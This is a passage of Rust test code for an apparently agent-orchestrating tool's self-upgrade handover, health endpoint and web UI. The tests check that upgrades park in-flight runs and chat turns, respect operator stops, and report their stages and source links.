17935 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17936 .expect("write magi.toml");
17937 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17938
17939 let res = fx.post("/api/upgrade", None).await;
17945 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
17946 let body = res.json();
17947 assert!(body["to"].is_null(), "there was no release to move to");
17948 assert!(body["parked"].is_null(), "and nothing was parked");
17949 assert!(
17950 body["detail"]
17951 .as_str()
17952 .unwrap()
17953 .contains("nothing restarted"),
17954 "{body:?}"
17955 );
17956 }
17957
17958 #[tokio::test]
17959 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
17960 let repo = TempDir::new().expect("repo dir");
17965 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17966 .expect("write magi.toml");
17967 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17968
17969 let health = fx.get("/api/health").await.json();
17970 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
17971 assert_eq!(
17972 health["update"]["available"], false,
17973 "checking is off, which reads as \"unknown\", not \"none\""
17974 );
17975 assert!(health["update"]["to"].is_null());
17976 assert!(
17977 health["upgrade"].is_null(),
17978 "nothing has ever asked this deck to upgrade"
17979 );
17980 }
17981
17982 #[tokio::test]
17983 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
17984 let fx = Fixture::start().await;
17985 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
17986
17987 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17988 progress.parked_run = Some("20260905-000000-cd51".to_owned());
17989 progress.advance(crate::updater::Stage::Parking);
17990 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17991
17992 let health = fx.get("/api/health").await.json();
17993 assert_eq!(health["upgrade"]["stage"], "parking");
17994 assert_eq!(health["upgrade"]["from"], "0.5.1");
17995 assert_eq!(health["upgrade"]["to"], "0.5.2");
17996 let waiting_on = health["upgrade"]["waiting_on"]
17997 .as_str()
17998 .expect("waiting_on is set while parking a known run");
17999 assert!(waiting_on.contains("cd51"), "{waiting_on}");
18000 assert!(waiting_on.contains("implementing"), "{waiting_on}");
18001 }
18002
18003 #[tokio::test]
18004 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
18005 let fx = Fixture::start().await;
18006 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18007 progress.advance(crate::updater::Stage::Done);
18008 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18009
18010 let health = fx.get("/api/health").await.json();
18011 assert_eq!(health["upgrade"]["stage"], "done");
18012 assert!(
18013 health["upgrade"]["waiting_on"].is_null(),
18014 "nothing to wait on once it is done"
18015 );
18016 }
18017
18018 #[tokio::test]
18019 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
18020 let home = TempDir::new().expect("temp home");
18021 let runs = home.path().join("runs");
18022 std::fs::create_dir_all(&runs).expect("runs dir");
18023 let ui = Ui::new(
18024 Queue::at(home.path().join("queue")),
18025 Questions::at(home.path().join("questions")),
18026 Talks::at(home.path().join("talks")),
18027 runs,
18028 home.path().to_path_buf(),
18029 PathBuf::from("/repo/magi"),
18030 )
18031 .with_launch(launch_idle);
18032 let looping = ui.looping();
18033 let turns = ui.turns();
18034 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18035 .await
18036 .expect("bind loopback");
18037 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
18038
18039 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18040 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
18041
18042 hand_over(
18043 home.path(),
18044 &looping,
18045 &turns,
18046 &|_: &[String]| Duration::from_secs(5),
18047 served,
18048 |_| Ok(1),
18049 )
18050 .await
18051 .expect("hand over");
18052
18053 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
18054 assert_eq!(
18055 after.stage,
18056 crate::updater::Stage::Restarting,
18057 "hand_over owns the record through parking and up to restarting; \
18058 the successor is what finishes it"
18059 );
18060 }
18061
18062 #[tokio::test]
18065 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
18066 for fail in [false, true] {
18067 let home = TempDir::new().expect("temp home");
18068 let ui = idle_ui(&home);
18069 let looping = ui.looping();
18070 let turns = ui.turns();
18071 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18072 .await
18073 .expect("bind loopback");
18074 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
18075 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18076 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
18077
18078 let calls = std::sync::atomic::AtomicUsize::new(0);
18079 let outcome = hand_over(
18080 home.path(),
18081 &looping,
18082 &turns,
18083 &|_: &[String]| Duration::from_secs(5),
18084 served,
18085 |_| {
18086 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18087 if fail {
18088 anyhow::bail!("no exec")
18089 } else {
18090 Ok(4242)
18091 }
18092 },
18093 )
18094 .await;
18095 assert_eq!(outcome.is_err(), fail);
18096 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18097
18098 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
18099 .expect("upgrade.log is written under the home");
18100 for step in [
18101 "entered",
18102 "finish_loop",
18103 "listener released",
18104 "starting the successor",
18105 ] {
18106 assert!(log.contains(step), "missing `{step}` in:\n{log}");
18107 }
18108 assert!(
18109 log.contains(if fail { "did not start" } else { "pid 4242" }),
18110 "{log}"
18111 );
18112 }
18113 }
18114
18115 #[tokio::test]
18118 async fn the_handover_signal_wakes_one_waiter_once() {
18119 let signal = Notify::new();
18120 signal.notify_one();
18122 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
18123 .await
18124 .expect("an early signal is still seen");
18125 assert!(
18127 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
18128 .await
18129 .is_err(),
18130 "a consumed signal must not wake a second time"
18131 );
18132 let signal = std::sync::Arc::new(signal);
18134 let waiter = tokio::spawn({
18135 let signal = std::sync::Arc::clone(&signal);
18136 async move { wait_for_handover(&signal).await }
18137 });
18138 tokio::time::sleep(Duration::from_millis(20)).await;
18139 assert!(!waiter.is_finished(), "nothing was signalled yet");
18140 signal.notify_one();
18141 tokio::time::timeout(Duration::from_secs(5), waiter)
18142 .await
18143 .expect("a late signal wakes the waiter")
18144 .expect("join");
18145 }
18146
18147 #[tokio::test]
18148 async fn health_says_how_long_a_handover_has_been_stuck() {
18149 let fx = Fixture::start().await;
18150 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18151 progress.advance(crate::updater::Stage::Replaced);
18152 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
18153 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18154
18155 let health = fx.get("/api/health").await.json();
18156 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
18157 assert!(stuck >= 600, "{stuck}");
18158 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
18159 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
18160 }
18161
18162 #[tokio::test]
18163 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
18164 let home = tempfile::tempdir().expect("temp home");
18165 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18166 progress.advance(crate::updater::Stage::Parking);
18167 crate::updater::write_progress(home.path(), &progress).expect("seed");
18168 let mut again = progress.clone();
18170 again.advance(crate::updater::Stage::Replaced);
18171 crate::updater::write_progress(home.path(), &again).expect("replaced");
18172 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18173 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
18174 let after = crate::updater::read_progress(home.path()).expect("record");
18175 assert_eq!(after.stage, crate::updater::Stage::Parking);
18176 }
18177
18178 #[tokio::test]
18179 async fn health_does_not_call_a_live_parking_wait_stuck() {
18180 let fx = Fixture::start().await;
18181 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18182 progress.parked_run = Some("20260905-000000-cd51".to_owned());
18183 progress.advance(crate::updater::Stage::Parking);
18184 let hours = Duration::from_secs(3 * 3600);
18185 progress.started_at = Timestamp::now() - hours;
18186 progress.updated_at = Timestamp::now() - hours;
18187 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18188 let _lease = crate::updater::LeaseGuard::enter(
18189 fx.home.path(),
18190 Some("20260905-000000-cd51".to_owned()),
18191 );
18192
18193 let health = fx.get("/api/health").await.json();
18194 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
18195 assert!(health["upgrade"]["stuck_kind"].is_null());
18196 assert_eq!(health["upgrade"]["handover_alive"], true);
18197 let waiting_on = health["upgrade"]["waiting_on"]
18198 .as_str()
18199 .expect("waiting_on");
18200 assert!(waiting_on.contains("cd51"), "{waiting_on}");
18201 }
18202
18203 fn idle_ui(home: &TempDir) -> Ui {
18204 let runs = home.path().join("runs");
18205 std::fs::create_dir_all(&runs).expect("runs dir");
18206 Ui::new(
18207 Queue::at(home.path().join("queue")),
18208 Questions::at(home.path().join("questions")),
18209 Talks::at(home.path().join("talks")),
18210 runs,
18211 home.path().to_path_buf(),
18212 PathBuf::from("/repo/magi"),
18213 )
18214 .with_launch(launch_idle)
18215 }
18216
18217 async fn park_fixture(
18218 home: &TempDir,
18219 ) -> (
18220 Ui,
18221 Arc<Mutex<LoopState>>,
18222 Arc<Mutex<TalkTurns>>,
18223 tokio::task::JoinHandle<std::io::Result<()>>,
18224 ) {
18225 let ui = idle_ui(home);
18226 let looping = ui.looping();
18227 let turns = ui.turns();
18228 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18229 .await
18230 .expect("bind loopback");
18231 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
18232 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18233 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
18234 (ui, looping, turns, served)
18235 }
18236
18237 #[tokio::test]
18241 async fn hand_over_waits_for_a_running_chat_turn() {
18242 let home = TempDir::new().expect("temp home");
18243 let (ui, looping, turns, served) = park_fixture(&home).await;
18244 let ui = Arc::new(ui);
18245 let id = "20260901-000000-chat";
18246 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
18247
18248 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
18249 let handover = tokio::spawn({
18250 let home = home.path().to_path_buf();
18251 let turns = Arc::clone(&turns);
18252 let calls = Arc::clone(&calls);
18253 async move {
18254 hand_over(
18255 &home,
18256 &looping,
18257 &turns,
18258 &|_: &[String]| Duration::from_secs(60),
18259 served,
18260 move |_| {
18261 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18262 Ok(1)
18263 },
18264 )
18265 .await
18266 }
18267 });
18268
18269 let waiting = async {
18270 for _ in 0..200 {
18271 if crate::updater::read_progress(home.path())
18272 .is_some_and(|p| p.parked_talks == [id.to_owned()])
18273 {
18274 return;
18275 }
18276 tokio::time::sleep(Duration::from_millis(25)).await;
18277 }
18278 panic!("the park never named the chat turn");
18279 };
18280 waiting.await;
18281 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
18282
18283 let refused = ui.begin_talk_turn("20260901-000000-late").err();
18286 assert!(
18287 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
18288 "a direct start says an upgrade is in progress"
18289 );
18290 assert!(
18291 ui.begin_queued_talk_turn("20260901-000000-late")
18292 .expect("queued claim")
18293 .is_none()
18294 );
18295 assert!(matches!(
18296 ui.begin_talk_turn_unless_pending("20260901-000000-late")
18297 .expect("start"),
18298 TalkTurnStart::Busy
18299 ));
18300 assert_eq!(turns.lock().unwrap().live.len(), 1);
18301
18302 let progress = crate::updater::read_progress(home.path()).expect("progress");
18304 let view = upgrade_progress_view(&ui, progress);
18305 assert!(
18306 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
18307 "{:?}",
18308 view.waiting_on
18309 );
18310
18311 assert!(!handover.is_finished());
18312 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
18313 drop(turn);
18314 handover.await.expect("join").expect("hand over");
18315 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18316 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
18317 }
18318
18319 #[tokio::test]
18322 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
18323 let home = TempDir::new().expect("temp home");
18324 let (ui, looping, turns, served) = park_fixture(&home).await;
18325 let ui = Arc::new(ui);
18326 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
18328 lock_or_recover(&looping).live = Some(Live {
18329 stop: daemon::Stop::new(),
18330 handle: tokio::spawn(async move {
18331 let _ = loop_ended.await;
18332 }),
18333 opts: daemon::Opts::default(),
18334 });
18335
18336 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
18337 let handover = tokio::spawn({
18338 let home = home.path().to_path_buf();
18339 let turns = Arc::clone(&turns);
18340 let calls = Arc::clone(&calls);
18341 async move {
18342 hand_over(
18343 &home,
18344 &looping,
18345 &turns,
18346 &|_: &[String]| Duration::from_secs(60),
18347 served,
18348 move |_| {
18349 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18350 Ok(1)
18351 },
18352 )
18353 .await
18354 }
18355 });
18356
18357 let reached = async {
18358 for _ in 0..200 {
18359 if crate::updater::read_progress(home.path())
18360 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
18361 {
18362 return;
18363 }
18364 tokio::time::sleep(Duration::from_millis(25)).await;
18365 }
18366 panic!("the hand-over never reached parking");
18367 };
18368 reached.await;
18369
18370 assert!(!turns.lock().unwrap().parking);
18372 let turn = ui
18373 .begin_talk_turn("20260901-000000-chat")
18374 .expect("claim")
18375 .expect("a turn can start while the loop parks");
18376
18377 end_loop.send(()).expect("loop still waiting");
18379 for _ in 0..200 {
18380 if turns.lock().unwrap().parking {
18381 break;
18382 }
18383 tokio::time::sleep(Duration::from_millis(25)).await;
18384 }
18385 assert!(
18386 turns.lock().unwrap().parking,
18387 "closed once the loop is done"
18388 );
18389 let refused = ui.begin_talk_turn("20260901-000000-late").err();
18390 assert!(
18391 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
18392 "no turn starts once the loop is done"
18393 );
18394 assert!(
18395 ui.begin_queued_talk_turn("20260901-000000-late")
18396 .expect("queued claim")
18397 .is_none()
18398 );
18399 assert!(!handover.is_finished());
18400 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
18401
18402 drop(turn);
18403 handover.await.expect("join").expect("hand over");
18404 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18405 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
18406 }
18407
18408 #[tokio::test]
18411 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
18412 let home = TempDir::new().expect("temp home");
18413 let (ui, looping, turns, served) = park_fixture(&home).await;
18414 let id = "20260901-000000-stuk";
18415 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
18416
18417 let calls = std::sync::atomic::AtomicUsize::new(0);
18418 hand_over(
18419 home.path(),
18420 &looping,
18421 &turns,
18422 &|_: &[String]| Duration::from_millis(300),
18423 served,
18424 |_| {
18425 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18426 Ok(1)
18427 },
18428 )
18429 .await
18430 .expect("hand over");
18431 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18432
18433 let progress = crate::updater::read_progress(home.path()).expect("progress");
18434 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
18435 assert!(
18436 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
18437 "{:?}",
18438 progress.detail
18439 );
18440 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
18441 assert!(
18442 log.contains("handing over anyway") && log.contains(id),
18443 "{log}"
18444 );
18445 }
18446
18447 #[tokio::test]
18450 async fn drain_loop_starts_no_turn_while_parking() {
18451 let tmp = TempDir::new().expect("tempdir");
18452 let repo = tmp.path().join("repo");
18453 std::fs::create_dir_all(&repo).expect("repo dir");
18454 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
18455 let home = TempDir::new().expect("temp home");
18456 let talks = Talks::at(home.path().join("talks"));
18457 let ui = Ui::new(
18458 Queue::at(home.path().join("queue")),
18459 Questions::at(home.path().join("questions")),
18460 talks.clone(),
18461 home.path().join("runs"),
18462 home.path().to_path_buf(),
18463 repo.clone(),
18464 )
18465 .with_worktrees_root(home.path().join("wt"));
18466 let cfg = config_for(&repo).await.expect("discover config");
18467 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
18468 let id = talk.id.clone();
18469 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
18470 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
18471 let turns = ui.turns();
18472 let parking = ParkingTurns::begin(&turns);
18473
18474 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
18475
18476 assert!(
18477 turns.lock().unwrap().live.is_empty(),
18478 "the slot is given up"
18479 );
18480 let fresh = talks.get(&id).expect("talk");
18481 assert_eq!(fresh.pending, "later", "the draft is still queued");
18482 assert!(fresh.turns.is_empty(), "no turn ran");
18483 drop(parking);
18484 }
18485
18486 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
18488 let looping = ui.looping();
18489 let turns = ui.turns();
18490 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18491 .await
18492 .expect("bind loopback");
18493 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
18494 let told = std::sync::Mutex::new(None);
18495 hand_over(
18496 home.path(),
18497 &looping,
18498 &turns,
18499 &|_: &[String]| Duration::from_secs(5),
18500 served,
18501 |resume| {
18502 *told.lock().unwrap() = Some(resume);
18503 Ok(1)
18504 },
18505 )
18506 .await
18507 .expect("hand over");
18508 told.into_inner().unwrap().expect("successor was started")
18509 }
18510
18511 #[tokio::test]
18512 async fn a_running_loop_is_resumed_by_the_successor() {
18513 let home = TempDir::new().expect("temp home");
18514 let ui = idle_ui(&home);
18515 ui.start_loop(None).expect("start");
18516 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18517 for _ in 0..500 {
18519 if !ui.loop_view(None).running {
18520 break;
18521 }
18522 tokio::time::sleep(Duration::from_millis(2)).await;
18523 }
18524 assert!(handed_over(&home, ui).await, "a running loop must resume");
18525
18526 let successor = idle_ui(&home);
18527 assert!(!successor.loop_view(None).running);
18528 assert!(successor.resume_after_handover(true));
18529 assert!(successor.loop_view(None).running);
18530 successor.stop_loop(None, false).expect("stop");
18531 }
18532
18533 #[tokio::test]
18534 async fn a_second_upgrade_request_keeps_the_resume_intent() {
18535 let home = TempDir::new().expect("temp home");
18536 let ui = idle_ui(&home);
18537 ui.start_loop(None).expect("start");
18538 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
18539 .expect("first park");
18540 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
18541 .expect("second park");
18542 assert!(handed_over(&home, ui).await);
18543 }
18544
18545 #[tokio::test]
18546 async fn a_stop_during_the_handover_wait_is_honoured() {
18547 let home = TempDir::new().expect("temp home");
18548 let ui = idle_ui(&home);
18549 ui.start_loop(None).expect("start");
18550 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18551 ui.stop_loop(None, false).expect("stop");
18552 assert!(!handed_over(&home, ui).await);
18553 }
18554
18555 #[tokio::test]
18556 async fn an_idle_loop_stays_stopped_across_the_handover() {
18557 let home = TempDir::new().expect("temp home");
18558 let ui = idle_ui(&home);
18559 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18560 assert!(!handed_over(&home, ui).await);
18561
18562 let successor = idle_ui(&home);
18563 assert!(!successor.resume_after_handover(false));
18564 assert!(!successor.loop_view(None).running);
18565 }
18566
18567 #[tokio::test]
18568 async fn a_loop_the_operator_stopped_is_not_resumed() {
18569 let home = TempDir::new().expect("temp home");
18570 let ui = idle_ui(&home);
18571 ui.start_loop(None).expect("start");
18572 ui.stop_loop(None, false).expect("stop");
18573 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18574 assert!(!handed_over(&home, ui).await);
18575 }
18576
18577 #[test]
18578 fn only_an_explicit_one_requests_a_resume() {
18579 assert!(!resume_requested(None));
18580 assert!(!resume_requested(Some("0".into())));
18581 assert!(!resume_requested(Some("".into())));
18582 assert!(resume_requested(Some("1".into())));
18583 }
18584
18585 #[test]
18586 fn the_upgrade_button_arms_before_it_restarts_anything() {
18587 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
18590 assert!(APP_JS.contains("Replace the binary and restart?"));
18591 assert!(APP_JS.contains("function confirmed("));
18592 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
18597 assert!(
18601 APP_JS.contains("Parking, then restarting"),
18602 "the button says what it is waiting for"
18603 );
18604 assert!(APP_JS.contains("if (!out.to)"));
18607 }
18608
18609 #[test]
18610 fn stopping_the_loop_arms_but_starting_does_not() {
18611 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
18614 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
18615 assert!(APP_JS.contains("confirmed(button, question)"));
18616 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
18619 assert!(APP_JS.contains("const label = btn.textContent;"));
18620 assert!(!APP_JS.contains("Neither direction is guarded"));
18621 }
18622
18623 #[test]
18624 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
18625 assert!(
18626 APP_JS.contains("state.health.version"),
18627 "the operator wants to know what is running even with nothing newer"
18628 );
18629 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
18630 }
18631
18632 #[test]
18633 fn the_upgrade_button_names_its_destination() {
18634 assert!(
18635 APP_JS.contains("`Update to ${update.to}`"),
18636 "pressing the button should not be a surprise about what it moves to"
18637 );
18638 }
18639
18640 #[test]
18641 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
18642 for stage in ["downloading", "replaced", "parking", "restarting"] {
18643 assert!(
18644 APP_JS.contains(&format!("\"{stage}\"")),
18645 "the phone must be able to tell {stage} apart from the others"
18646 );
18647 }
18648 assert!(APP_JS.contains(".waiting_on"));
18649 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
18654 assert!(APP_JS.contains("reconnects on its own"));
18655 }
18656
18657 #[test]
18658 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
18659 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
18668 ..APP_JS.find("function upgrade(").expect("upgrade")];
18669 assert!(
18670 !body.contains(
18671 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
18672 ),
18673 "a failed upgrade must not take the whole strip over the way it used to"
18674 );
18675 assert!(
18676 body.contains("upgradeFailNote"),
18677 "the failure has to reach the loop's own note instead"
18678 );
18679 assert_eq!(
18683 body.matches("upgradeFailNote].filter(Boolean).join")
18684 .count(),
18685 2,
18686 "both loop-why writers (quiet and control) must fold the note in"
18687 );
18688 }
18689
18690 #[test]
18691 fn an_overdue_upgrade_eventually_asks_for_a_human() {
18692 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
18695 assert!(APP_JS.contains("function upgradeOverdue("));
18696 }
18697
18698 #[test]
18699 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
18700 assert!(
18701 APP_JS.contains("Updated to ${upgradeInfo.to"),
18702 "the operator who asked for the restart wants to know it worked"
18703 );
18704 }
18705
18706 #[test]
18707 fn an_error_is_visible_from_where_the_button_is() {
18708 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
18713 ..APP_CSS.find(".alert-text").expect(".alert-text")];
18714 assert!(
18715 alert.contains("position: fixed"),
18716 "an error about the thing under your thumb has to be visible from \
18717 where your thumb is: {alert}"
18718 );
18719 assert!(
18720 alert.contains("z-index: 25"),
18721 "above the dock (20) and the run-actions FAB (15), so neither \
18722 buries it: {alert}"
18723 );
18724 assert!(
18725 alert.contains("var(--tap)"),
18726 "and clear of the dock and the home indicator: {alert}"
18727 );
18728 assert!(
18731 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
18732 "the FAB's column stays free: {alert}"
18733 );
18734 }
18735
18736 #[tokio::test]
18737 async fn an_older_attempt_says_what_replaced_it() {
18738 let fx = Fixture::start().await;
18739 let q = fx.queue();
18740 let runs = fx.runs();
18741 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18742 write_run(&runs, first, RunStatus::Stalled);
18743 write_run(&runs, second, RunStatus::Blocked);
18744
18745 let mut t = Task::new(
18746 "one task".to_owned(),
18747 "do it".to_owned(),
18748 PathBuf::from("/repo"),
18749 Source::Human,
18750 );
18751 t.runs = vec![first.to_owned(), second.to_owned()];
18752 q.put(&mut t).expect("put");
18753
18754 let rows = fx.get("/api/runs").await.json();
18758 let by = |short: &str| -> Value {
18759 rows.as_array()
18760 .unwrap()
18761 .iter()
18762 .find(|r| r["short"] == short)
18763 .cloned()
18764 .unwrap_or(Value::Null)
18765 };
18766 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
18767 assert!(
18768 by("bbbb")["superseded_by"].is_null(),
18769 "the latest attempt is not superseded by anything"
18770 );
18771 assert!(APP_JS.contains("run.superseded_by"));
18773 assert!(APP_JS.contains("Superseded by"));
18774 }
18775
18776 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
18777 let mut t = Task::new(
18778 "one task".to_owned(),
18779 "do it".to_owned(),
18780 PathBuf::from("/repo"),
18781 Source::Human,
18782 );
18783 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
18784 t.status = status;
18785 t
18786 }
18787
18788 #[test]
18789 fn source_link_picks_the_page_that_filed_the_task() {
18790 let agent = |node: &str| Source::Agent {
18791 run: "20260904-014455-ab12".to_owned(),
18792 node: node.to_owned(),
18793 };
18794 let chat = source_link(&agent("chat")).expect("chat link");
18795 assert_eq!(chat.kind, "chat");
18796 assert_eq!(chat.id, "20260904-014455-ab12");
18797 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
18798 let run = source_link(&agent("implement")).expect("run link");
18799 assert_eq!(
18800 (run.kind, run.href.as_str()),
18801 ("run", "#/runs/20260904-014455-ab12")
18802 );
18803 assert_eq!(source_link(&Source::Human), None);
18804 assert_eq!(
18805 source_link(&Source::Issue {
18806 number: 3,
18807 repo: "o/r".to_owned()
18808 }),
18809 None
18810 );
18811 let odd = source_link(&Source::Agent {
18812 run: "a b/c".to_owned(),
18813 node: "chat".to_owned(),
18814 })
18815 .expect("link");
18816 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
18817 }
18818
18819 #[test]
18820 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
18821 assert!(
18822 !APP_JS.contains("src.node === \"chat\""),
18823 "inline href rule is back"
18824 );
18825 assert!(
18826 APP_JS.matches("sourceLinkOf(").count() >= 4,
18827 "helper must serve every page"
18828 );
18829 assert!(
18830 APP_JS.matches("openChatLink(").count() >= 3,
18831 "the run page still needs its explicit chat link"
18832 );
18833 assert!(
18834 !APP_JS.contains("const openChat = el("),
18835 "the Queue card duplicates its source label link again"
18836 );
18837 assert!(
18838 APP_JS.contains("metaKids.push(link ? el(\"a\""),
18839 "the task page must link a chat source label too"
18840 );
18841 }
18842
18843 #[test]
18844 fn task_ref_carries_the_source_link_for_a_chat_task() {
18845 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
18846 t.source = Source::Agent {
18847 run: "20260904-014455-ab12".to_owned(),
18848 node: "chat".to_owned(),
18849 };
18850 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
18851 let v = serde_json::to_value(&out).expect("json");
18852 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
18853 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
18854 assert_eq!(v["source_label"], t.source.label());
18855
18856 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
18857 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
18858 .expect("json");
18859 assert!(v["source_link"].is_null(), "{v}");
18860 }
18861
18862 #[test]
18863 fn task_view_serializes_source_link() {
18864 let mut t = Task::new(
18865 "t".to_owned(),
18866 "t".to_owned(),
18867 PathBuf::from("/repo"),
18868 Source::Agent {
18869 run: "20260901-000000-aaaa".to_owned(),
18870 node: "implement".to_owned(),
18871 },
18872 );
18873 t.runs.clear();
18874 let v = serde_json::to_value(TaskView::from(t)).expect("json");
18875 assert_eq!(v["source_link"]["kind"], "run", "{v}");
18876 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
18877 }
18878
18879 #[test]
18880 fn task_view_serializes_urgent_flag() {
18881 let mut t = Task::new(
18882 "t".to_owned(),
18883 "t".to_owned(),
18884 PathBuf::from("/repo"),
18885 Source::Human,
18886 );
18887 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
18888 assert_eq!(v["urgent"], false, "{v}");
18889 t.urgent = true;
18890 let v = serde_json::to_value(TaskView::from(t)).expect("json");
18891 assert_eq!(v["urgent"], true, "{v}");
